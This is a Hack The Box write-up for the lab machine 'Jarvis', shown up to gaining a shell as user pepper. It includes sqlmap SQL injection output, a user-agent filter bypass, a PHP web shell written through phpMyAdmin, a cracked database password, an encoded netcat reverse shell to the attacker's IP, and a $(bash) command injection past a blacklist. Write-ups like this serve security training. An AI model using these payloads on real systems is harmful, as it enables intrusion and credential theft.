Hack The Box - Jarvis

Quick Summary

Hey guys, today Jarvis retired and here’s my write-up about it. It was a nice easy box with a web application vulnerable to SQL injection, a python script vulnerable to command injection and a setuid binary that could be abused to get a root shell. It’s a medium box and its ip is 10.10.10.143 , I added it to /etc/hosts as jarvis.htb . Let’s jump right in!

Nmap

As always we will start with nmap to scan for open ports and services:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

root@kali:~/Desktop/HTB/boxes/jarvis# nmap -sV -sT -sC -o nmapinitial jarvis.htb

Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-08 17:33 EET

Nmap scan report for jarvis.htb (10.10.10.143)

Host is up (0.24s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

| ssh-hostkey:

| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)

| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)

|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)

80/tcp open http Apache httpd 2.4.25 ((Debian))

| http-cookie-flags:

| /:

| PHPSESSID:

|_ httponly flag not set

|_http-server-header: Apache/2.4.25 (Debian)

|_http-title: Stark Hotel

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 32.86 seconds

root@kali:~/Desktop/HTB/boxes/jarvis#



We got ssh on port 22 and http on port 80. Let’s take a look at the web service.

Web Enumeration

By visiting http://jarvis.htb/ we get a website for a hotel called Stark Hotel:





I ran gobuster to check for any sub directories and the only interesting thing I found was /phpmyadmin :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

root@kali:~/Desktop/HTB/boxes/jarvis# gobuster -u http://jarvis.htb/ -w /usr/share/wordlists/dirb/common.txt



=====================================================

Gobuster v2.0.1 OJ Reeves (@TheColonial)

=====================================================

[+] Mode : dir

[+] Url/Domain : http://jarvis.htb/

[+] Threads : 10

[+] Wordlist : /usr/share/wordlists/dirb/common.txt

[+] Status codes : 200,204,301,302,307,403

[+] Timeout : 10s

=====================================================

2019/11/08 17:38:59 Starting gobuster

=====================================================

/.hta (Status: 403)

/.htaccess (Status: 403)

/.htpasswd (Status: 403)

/css (Status: 301)

/fonts (Status: 301)

/images (Status: 301)

/index.php (Status: 200)

/js (Status: 301)

/phpmyadmin (Status: 301)

/server-status (Status: 403)

=====================================================

2019/11/08 17:40:39 Finished

=====================================================



http://jarvis.htb/phpmyadmin



phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement. -phpmyadmin.net

That can be useful later if we could find the credentials, but for now let’s concentrate on the web application.

SQLi in room.php

Back to the “Rooms & Suites” section in the main page, clicking on any of these rooms requests /room.php with a parameter called cod that holds the room number:





I tried replacing the number with a single quote ' and I got a weird response:



So I ran sqlmap but I got a 404 response:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

root@kali:~/Desktop/HTB/boxes/jarvis

___

__H__

___ ___[(]_____ ___ ___ {1.3.4#stable}

|_ -| . [)] | .'| . |

|___|_ [)]_|_|_|__,| _|

|_|V... |_| http://sqlmap.org



[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user 's responsibility to obey all applicable local, state and federal laws. Developers assume no

liability and are not responsible for any misuse or damage caused by this program



[*] starting @ 17:43:03 /2019-11-08/

[17:43:03] [INFO] testing connection to the target URL

[17:43:04] [INFO] checking if the target is protected by some kind of WAF/IPS

[17:43:04] [INFO] testing if the target URL content is stable

[17:43:05] [INFO] heuristics detected web page charset ' ascii '

[17:43:05] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk

results, refer to user' s manual paragraph 'Page comparison'

how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C

[ 17 : 43 : 13 ] [INFO] searching for dynamic content

[ 17 : 43 : 13 ] [ CRITICAL ] page not found ( 404 )

[ 17 : 43 : 13 ] [ WARNING ] HTTP error codes detected during run:

404 ( Not Found ) - 2 times

[*] ending @ 17 : 43 : 13 / 2019 -11 -08 /



I checked the page again and saw a message indicating that I got banned for 90 seconds:



I assumed that it checks for the user-agent because the ban happened immediately, so I added the --user-agent option and used Firefox user-agent, that was enough to bypass the filter:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

root@kali:~/Desktop/HTB/boxes/jarvis

___

__H__

___ ___[(]_____ ___ ___ {1.3.4#stable}

|_ -| . [,] | .'| . |

|___|_ [.]_|_|_|__,| _|

|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user 's responsibility to obey all applicable local, state and federal laws. Developers assume no

liability and are not responsible for any misuse or damage caused by this program



[*] starting @ 22:15:42 /2019-11-08/

[22:15:42] [INFO] testing connection to the target URL

[22:15:43] [INFO] checking if the target is protected by some kind of WAF/IPS

[22:15:43] [INFO] testing if the target URL content is stable

[22:15:44] [INFO] target URL content is stable

[22:15:44] [INFO] testing if GET parameter ' cod ' is dynamic

[22:15:45] [INFO] GET parameter ' cod ' appears to be dynamic

[22:15:46] [INFO] heuristic (basic) test shows that GET parameter ' cod ' might be injectable

[22:15:46] [INFO] testing for SQL injection on GET parameter ' cod '

[22:15:46] [INFO] testing ' AND boolean -based blind - WHERE or HAVING clause '

[22:15:48] [INFO] GET parameter ' cod ' appears to be ' AND boolean -based blind - WHERE or HAVING clause ' injectable (with --string="of")

[22:15:52] [INFO] heuristic (extended) test shows that the back-end DBMS could be ' MySQL '

it looks like the back-end DBMS is ' MySQL '. Do you want to skip test payloads specific for other DBMSes? [Y/n] n

for the remaining tests, do you want to include all tests for ' MySQL ' extending provided level (1) and risk (1) values? [Y/n] y

[22:15:56] [INFO] testing ' MySQL >= 5.5 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause ( BIGINT UNSIGNED ) '

[22:15:56] [INFO] testing ' MySQL >= 5.5 OR error -based - WHERE or HAVING clause ( BIGINT UNSIGNED ) '

[22:15:57] [INFO] testing ' MySQL >= 5.5 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause ( EXP ) '

[22:15:57] [INFO] testing ' MySQL >= 5.5 OR error -based - WHERE or HAVING clause ( EXP ) '

[22:15:57] [INFO] testing ' MySQL >= 5.7 .8 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause (JSON_KEYS) '

[22:15:57] [INFO] testing ' MySQL >= 5.7 .8 OR error -based - WHERE or HAVING clause (JSON_KEYS) '

[22:15:58] [INFO] testing ' MySQL >= 5.0 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause ( FLOOR ) '

[22:15:58] [INFO] testing ' MySQL >= 5.0 OR error -based - WHERE , HAVING , ORDER BY or GROUP BY clause ( FLOOR ) '

[22:15:58] [INFO] testing ' MySQL >= 5.1 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause (EXTRACTVALUE) '

[22:15:58] [INFO] testing ' MySQL >= 5.1 OR error -based - WHERE , HAVING , ORDER BY or GROUP BY clause (EXTRACTVALUE) '

[22:16:00] [INFO] testing ' MySQL >= 5.1 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause (UPDATEXML) '

[22:16:00] [INFO] testing ' MySQL >= 5.1 OR error -based - WHERE , HAVING , ORDER BY or GROUP BY clause (UPDATEXML) '

[22:16:00] [INFO] testing ' MySQL >= 4.1 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause ( FLOOR ) '

[22:16:00] [INFO] testing ' MySQL >= 4.1 OR error -based - WHERE or HAVING clause ( FLOOR ) '

[22:16:01] [INFO] testing ' MySQL OR error -based - WHERE or HAVING clause ( FLOOR ) '

[22:16:01] [INFO] testing ' PostgreSQL AND error -based - WHERE or HAVING clause '

[22:16:01] [INFO] testing ' Microsoft SQL Server /Sybase AND error -based - WHERE or HAVING clause ( IN ) '

[22:16:02] [INFO] testing ' Oracle AND error -based - WHERE or HAVING clause ( XMLType ) '

[22:16:02] [INFO] testing ' MySQL >= 5.1 error -based - PROCEDURE ANALYSE (EXTRACTVALUE) '

[22:16:02] [INFO] testing ' MySQL >= 5.5 error -based - Parameter replace ( BIGINT UNSIGNED ) '

[22:16:03] [INFO] testing ' MySQL >= 5.5 error -based - Parameter replace ( EXP ) '

[22:16:03] [INFO] testing ' MySQL >= 5.7 .8 error -based - Parameter replace (JSON_KEYS) '

[22:16:03] [INFO] testing ' MySQL >= 5.0 error -based - Parameter replace ( FLOOR ) '

[22:16:04] [INFO] testing ' MySQL >= 5.1 error -based - Parameter replace (UPDATEXML) '

[22:16:04] [INFO] testing ' MySQL >= 5.1 error -based - Parameter replace (EXTRACTVALUE) '

[22:16:06] [INFO] testing ' MySQL inline queries '

[22:16:06] [INFO] testing ' PostgreSQL inline queries '

[22:16:06] [INFO] testing ' Microsoft SQL Server /Sybase inline queries '

[22:16:07] [INFO] testing ' MySQL > 5.0 .11 stacked queries ( comment ) '

[22:16:08] [INFO] testing ' MySQL > 5.0 .11 stacked queries '

[22:16:08] [INFO] testing ' MySQL > 5.0 .11 stacked queries ( query SLEEP - comment ) '

[22:16:08] [INFO] testing ' MySQL > 5.0 .11 stacked queries ( query SLEEP ) '

[22:16:09] [INFO] testing ' MySQL < 5.0 .12 stacked queries (heavy query - comment ) '

[22:16:09] [INFO] testing ' MySQL < 5.0 .12 stacked queries (heavy query ) '

[22:16:10] [INFO] testing ' PostgreSQL > 8.1 stacked queries ( comment ) '

[22:16:10] [INFO] testing ' Microsoft SQL Server /Sybase stacked queries ( comment ) '

[22:16:10] [INFO] testing ' Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment ) '

[22:16:10] [INFO] testing ' MySQL >= 5.0 .12 AND time -based blind '

[22:16:22] [INFO] GET parameter ' cod ' appears to be ' MySQL >= 5.0 .12 AND time -based blind ' injectable

[22:16:22] [INFO] testing ' Generic UNION query ( NULL ) - 1 to 20 columns '

[22:16:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found

[22:16:22] [INFO] ' ORDER BY ' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection tech

nique test

[22:16:23] [INFO] target URL appears to have 7 columns in query

[22:16:28] [INFO] GET parameter ' cod ' is ' Generic UNION query ( NULL ) - 1 to 20 columns ' injectable

GET parameter ' cod ' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n

sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:

---

Parameter: cod (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: cod=1 AND 9726=9726



Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind

Payload: cod=1 AND SLEEP(5)



Type: UNION query

Title: Generic UNION query (NULL) - 7 columns

Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr

---

[22:16:33] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 9.0 (stretch)

web application technology: Apache 2.4.25

back-end DBMS: MySQL >= 5.0.12

[22:16:33] [INFO] fetched data logged to text files under ' /root/.sqlmap/ output /jarvis.htb '



[*] ending @ 22:16:33 /2019-11-08/



root@kali:~/Desktop/HTB/boxes/jarvis#



RCE –> Shell as www-data

I could get RCE in 2 different ways.

First way:

By using the os-shell option in sqlmap :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

root@kali:~/Desktop/HTB/boxes/jarvis

___

__H__

___ ___[,]_____ ___ ___ {1.3.4#stable}

|_ -| . ["] | .'| . |

|___|_ [(]_|_|_|__,| _|

|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user 's responsibility to obey all applicable local, state and federal laws. Developers assume no

liability and are not responsible for any misuse or damage caused by this program



[*] starting @ 22:23:10 /2019-11-08/

[22:23:10] [INFO] resuming back-end DBMS ' mysql '

[22:23:10] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: cod (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: cod=1 AND 9726=9726



Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind

Payload: cod=1 AND SLEEP(5)



Type: UNION query

Title: Generic UNION query (NULL) - 7 columns

Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr

---

[22:23:11] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 9.0 (stretch)

web application technology: Apache 2.4.25

back-end DBMS: MySQL >= 5.0.12

[22:23:11] [INFO] going to use a web backdoor for command prompt

[22:23:11] [INFO] fingerprinting the back-end DBMS operating system

[22:23:11] [INFO] the back-end DBMS operating system is Linux

which web application language does the web server support?

[1] ASP

[2] ASPX

[3] JSP

[4] PHP (default)

> 4

[22:23:13] [WARNING] unable to automatically retrieve the web server document root

what do you want to use for writable directory?

[1] common location(s) (' / var /www/, / var /www/html, /usr/ local /apache2/htdocs, / var /www/nginx- default , /srv/www ') (default)

[2] custom location(s)

[3] custom directory list file

[4] brute force search

> 2

please provide a comma separate list of absolute directory paths: /var/www/html

[22:23:40] [INFO] retrieved web server absolute paths: ' /images/ '

[22:23:40] [INFO] trying to upload the file stager on ' / var /www/html/ ' via LIMIT ' LINES TERMINATED BY ' method

[22:23:42] [INFO] the file stager has been successfully uploaded on ' / var /www/html/ ' - http://jarvis.htb:80/tmpuujaq.php

[22:23:43] [INFO] the backdoor has been successfully uploaded on ' / var /www/html/ ' - http://jarvis.htb:80/tmpbtwbt.php

[22:23:43] [INFO] calling OS shell. To quit type ' x ' or ' q ' and press ENTER

os-shell> whoami

do you want to retrieve the command standard output? [Y/n/a] a

command standard output: ' www- data '

os-shell> id

command standard output: ' uid= 33 (www- data ) gid= 33 (www- data ) groups = 33 (www- data ) '

os-shell>



From here we can simply execute a reverse shell command and get a shell.

Second way:

I used the --passwords option to dump the users’ password hashes:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

root@kali:~/Desktop/HTB/boxes/jarvis

___

__H__

___ ___[,]_____ ___ ___ {1.3.4#stable}

|_ -| . [,] | .'| . |

|___|_ [']_|_|_|__,| _|

|_|V... |_| http://sqlmap.org



[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user 's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program



[*] starting @ 22:17:45 /2019-11-08/



[22:17:46] [INFO] resuming back-end DBMS ' mysql '

[22:17:46] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: cod (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: cod=1 AND 9726=9726



Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind

Payload: cod=1 AND SLEEP(5)



Type: UNION query

Title: Generic UNION query (NULL) - 7 columns

Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr

---

[22:17:46] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 9.0 (stretch)

web application technology: Apache 2.4.25

back-end DBMS: MySQL >= 5.0.12

[22:17:46] [INFO] fetching database users password hashes

[22:17:46] [INFO] used SQL query returns 1 entry

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y

[22:17:53] [INFO] writing hashes to a temporary file ' /tmp/sqlmapbAZ4vg2489/sqlmaphashes-KkbVkR.txt '

do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n

database management system users password hashes:

[*] DBadmin [1]:

password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0



[22:17:55] [INFO] fetched data logged to text files under ' /root/.sqlmap/ output /jarvis.htb '



[*] ending @ 22:17:55 /2019-11-08/



root@kali:~/Desktop/HTB/boxes/jarvis#



I got the password hash for DBadmin , I cracked it with crackstation:



Then I tried these credentials ( DBadmin : imissyou ) with phpmyadmin and I got in:





From the SQL console we can write a web shell:

1

SELECT "<?php system($_GET['c']); ?>" into outfile "/var/www/html/sh3ll.php"



I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a reverse shell, I had to url -encode it first:

1

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff



Now we have a shell as www-data :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337

Ncat: Version 7.70 ( https://nmap.org/ncat )

Ncat: Listening on :::1337

Ncat: Listening on 0.0.0.0:1337

Ncat: Connection from 10.10.10.143.

Ncat: Connection from 10.10.10.143:57400.

/bin/sh: 0: can't access tty; job control turned off

$ whoami

www-data

$ which python

/usr/bin/python

$ python -c "import pty;pty.spawn('/bin/bash')"

www-data@jarvis:/var/www/html$ ^Z

[1]+ Stopped nc -lvnp 1337

root@kali:~/Desktop/HTB/boxes/jarvis# stty raw -echo

root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337



www-data@jarvis:/var/www/html$ export TERM=screen

www-data@jarvis:/var/www/html$



Command Injection in simpler.py –> Shell as pepper –> User Flag

I checked the home directory and there was a user called pepper , I couldn’t read the user flag as www-data :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

www-data@jarvis:/var/www/html$ cd /home/

www-data@jarvis:/home$ ls -al

total 12

drwxr-xr-x 3 root root 4096 Mar 2 2019 .

drwxr-xr-x 23 root root 4096 Mar 3 2019 ..

drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 pepper

www-data@jarvis:/home$ cd pepper/

www-data@jarvis:/home/pepper$ ls -al

total 32

drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .

drwxr-xr-x 3 root root 4096 Mar 2 2019 ..

lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null

-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout

-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc

drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano

-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile

drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web

-r--r----- 1 root pepper 33 Mar 5 2019 user.txt

www-data@jarvis:/home/pepper$ cat user.txt

cat: user.txt: Permission denied

www-data@jarvis:/home/pepper$



By running sudo -l I saw that I can run /var/www/Admin-Utilities/simpler.py as pepper without a password:

1

2

3

4

5

6

7

8

www-data@jarvis:/home/pepper$ sudo -l

Matching Defaults entries for www-data on jarvis:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin



User www-data may run the following commands on jarvis:

(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

www-data@jarvis:/home/pepper$



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py

***********************************************

_ _

___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _

/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |

\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |

|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |

|_| |_| |___/

@ironhackers.es



***********************************************





********************************************************

* Simpler - A simple simplifier ;) *

* Version 1.0 *

********************************************************

Usage: python3 simpler.py [options]



Options:

-h/--help : This help

-s : Statistics

-l : List the attackers IP

-p : ping an attacker IP



www-data@jarvis:/home/pepper$



Let’s take a look at that script:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

www-data@jarvis:/home/pepper$ cat /var/www/Admin-Utilities/simpler.py



from datetime import datetime

import sys

import os

from os import listdir

import re

def show_help () :

message= '''

********************************************************

* Simpler - A simple simplifier ;) *

* Version 1.0 *

********************************************************

Usage: python3 simpler.py [options]

Options:

-h/--help : This help

-s : Statistics

-l : List the attackers IP

-p : ping an attacker IP

'''

print(message)



def show_header () :

print( '''***********************************************

_ _

___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _

/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |

\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |

|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |

|_| |_| |___/

@ironhackers.es

***********************************************

''' )

def show_statistics () :

path = '/home/pepper/Web/Logs/'

print( 'Statistics

-----------' )

listed_files = listdir(path)

count = len(listed_files)

print( 'Number of Attackers: ' + str(count))

level_1 = 0

dat = datetime( 1 , 1 , 1 )

ip_list = []

reks = []

ip = ''

req = ''

rek = ''

for i in listed_files:

f = open(path + i, 'r' )

lines = f.readlines()

level2, rek = get_max_level(lines)

fecha, requ = date_to_num(lines)

ip = i.split( '.' )[ 0 ] + '.' + i.split( '.' )[ 1 ] + '.' + i.split( '.' )[ 2 ] + '.' + i.split( '.' )[ 3 ]

if fecha > dat:

dat = fecha

req = requ

ip2 = i.split( '.' )[ 0 ] + '.' + i.split( '.' )[ 1 ] + '.' + i.split( '.' )[ 2 ] + '.' + i.split( '.' )[ 3 ]

if int(level2) > int(level_1):

level_1 = level2

ip_list = [ip]

reks=[rek]

elif int(level2) == int(level_1):

ip_list.append(ip)

reks.append(rek)

f.close()



print( 'Most Risky:' )

if len(ip_list) > 1 :

print( 'More than 1 ip found' )

cont = 0

for i in ip_list:

print( ' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])

cont = cont + 1



print( 'Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)



def list_ip () :

print( 'Attackers

-----------' )

path = '/home/pepper/Web/Logs/'

listed_files = listdir(path)

for i in listed_files:

f = open(path + i, 'r' )

lines = f.readlines()

level,req = get_max_level(lines)

print(i.split( '.' )[ 0 ] + '.' + i.split( '.' )[ 1 ] + '.' + i.split( '.' )[ 2 ] + '.' + i.split( '.' )[ 3 ] + ' - Attack Level : ' + level)

f.close()



def date_to_num (lines) :

dat = datetime( 1 , 1 , 1 )

ip = ''

req= ''

for i in lines:

if 'Level' in i:

fecha=(i.split( ' ' )[ 6 ] + ' ' + i.split( ' ' )[ 7 ]).split( '

' )[ 0 ]

regex = '(\d+)-(.*)-(\d+)(.*)'

logEx=re.match(regex, fecha).groups()

mes = to_dict(logEx[ 1 ])

fecha = logEx[ 0 ] + '-' + mes + '-' + logEx[ 2 ] + ' ' + logEx[ 3 ]

fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S' )

if fecha > dat:

dat = fecha

req = i.split( ' ' )[ 8 ] + ' ' + i.split( ' ' )[ 9 ] + ' ' + i.split( ' ' )[ 10 ]

return dat, req



def to_dict (name) :

month_dict = { 'Jan' : '01' , 'Feb' : '02' , 'Mar' : '03' , 'Apr' : '04' , 'May' : '05' , 'Jun' : '06' , 'Jul' : '07' , 'Aug' : '08' , 'Sep' : '09' , 'Oct' : '10' , 'Nov' : '11' , 'Dec' : '12' }

return month_dict[name]



def get_max_level (lines) :

level= 0

for j in lines:

if 'Level' in j:

if int(j.split( ' ' )[ 4 ]) > int(level):

level = j.split( ' ' )[ 4 ]

req=j.split( ' ' )[ 8 ] + ' ' + j.split( ' ' )[ 9 ] + ' ' + j.split( ' ' )[ 10 ]

return level, req



def exec_ping () :

forbidden = [ '&' , ';' , '-' , '`' , '||' , '|' ]

command = input( 'Enter an IP: ' )

for i in forbidden:

if i in command:

print( 'Got you' )

exit()

os.system( 'ping ' + command)



if __name__ == '__main__' :

show_header()

if len(sys.argv) != 2 :

show_help()

exit()

if sys.argv[ 1 ] == '-h' or sys.argv[ 1 ] == '--help' :

show_help()

exit()

elif sys.argv[ 1 ] == '-s' :

show_statistics()

exit()

elif sys.argv[ 1 ] == '-l' :

list_ip()

exit()

elif sys.argv[ 1 ] == '-p' :

exec_ping()

exit()

else :

show_help()

exit()

www-data@jarvis:/home/pepper$



The most interesting function in this script is exec_ping :

1

2

3

4

5

6

7

8

def exec_ping () :

forbidden = [ '&' , ';' , '-' , '`' , '||' , '|' ]

command = input( 'Enter an IP: ' )

for i in forbidden:

if i in command:

print( 'Got you' )

exit()

os.system( 'ping ' + command)



It takes our input (it assumes that it’s an ip) and executes ping on it, to prevent command injection it checks for these characters:

1

& ; - ` || |



However, It doesn’t check for the dollar sign ( $ ), the dollar sign can be used to execute commands like this: $(command)

So for example if we do ping -c 1 $(echo 127.0.0.1) , echo 127.0.0.1 will be executed first then the ping command will be executed:

1

2

3

4

5

6

7

8

root@kali:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(echo 127.0.0.1)

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms



--- 127.0.0.1 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 0.072/0.072/0.072/0.000 ms

root@kali:~/Desktop/HTB/boxes/jarvis#



ping -c 1 $(whoami) will result in an error message because it will try to ping root which is not a valid hostname:

1

2

3

root@kali:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(whoami)

ping: unknown host root

root@kali:~/Desktop/HTB/boxes/jarvis#



So we can simply do $(bash) and we’ll get a shell:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

***********************************************

_ _

___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _

/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |

\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |

|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |

|_| |_| |___/

@ironhackers.es



***********************************************



Enter an IP: $(bash)

pepper@jarvis:~$



When I ran commands I didn’t get any output:

1

2

3

4

pepper@jarvis:~$ id

pepper@jarvis:~$ cat user.txt

pepper@jarvis:~$ ls -la

pepper@jarvis:~$



So I executed a reverse shell command (I used the same payload I used before) and got a reverse shell as pepper :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338

Ncat: Version 7.70 ( https://nmap.org/ncat )

Ncat: Listening on :::1338

Ncat: Listening on 0.0.0.0:1338

Ncat: Connection from 10.10.10.143.

Ncat: Connection from 10.10.10.143:40124.

$ python -c "import pty;pty.spawn('/bin/bash')"

pepper@jarvis:~$ ^Z

[1]+ Stopped nc -lvnp 1338

root@kali:~/Desktop/HTB/boxes/jarvis# stty raw -echo

root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338



pepper@jarvis:~$ export TERM=screen

pepper@jarvis:~$ id

uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)

pepper@jarvis:~$ ls -al

total 32

drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .

drwxr-xr-x 3 root root 4096 Mar 2 2019 ..

lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null

-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout

-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc

drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano

-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile

drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web

-r--r----- 1 root pepper 33 Mar 5 2019 user.txt

